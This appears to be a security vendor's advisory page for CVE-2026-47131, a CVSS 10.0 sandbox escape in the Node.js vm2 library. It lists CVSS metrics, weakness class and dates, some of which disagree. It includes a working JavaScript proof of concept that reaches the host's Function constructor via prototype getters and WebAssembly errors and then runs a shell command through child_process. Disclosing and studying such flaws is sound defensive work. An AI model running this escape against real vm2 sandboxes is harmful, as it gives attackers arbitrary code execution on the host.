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🛡️ CVE-2026-47131 — vm2

🔴 CVSS 10.0 — Critical ✅ No Known Exploit CWE-913 NVD
10.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

vm2 has a Sandbox Escape issue

Summary

By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox.

This allows attackers to run arbitrary code.

PoC

```js

"use strict";

const { VM } = require("vm2");

const vm = new VM();

vm.run(`

"use strict";

const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");

const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");

async function f() {

try {

await WebAssembly.compileStreaming();

} catch(e) {

setProto.call(getProto.call(e), null);

}

try {

await WebAssembly.compileStreaming();

} catch(e) {

const HostFunction = e.constructor.constructor;

new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });

}

}

f();

`);

```

Impact

Sandbox Escape → RCE

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-47131 is classified as CWE-913: Improper Control of Dynamically-Managed Code Resources. Attacker input reaches variables, objects or code that the runtime manages dynamically.

Affected software

CVE-2026-47131 is recorded against 2 packages.

  • unknown
  • vm2

Timeline and source

Published on 12 June 2026 and last revised on 17 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com
github.com
github.com
github.com

Other advisories for this package

unknown has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-913: Improper Control of Dynamically-Managed Code Resources) in other software:

CVE-2026-47131 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity CRITICAL
CVSS Score 10.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE CWE-913
Public Exploit ✅ No
Source NVD
Published 2026-06-12
Updated 2026-08-20
Modified 2026-06-17
Fix URL N/A

Affected Packages

Software From version Fixed in
unknown — —
vm2 — —

Similar Threats

Exploit Protection

Are you running vm2?

CVE-2026-47131 carries CVSS 10.0 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

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ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

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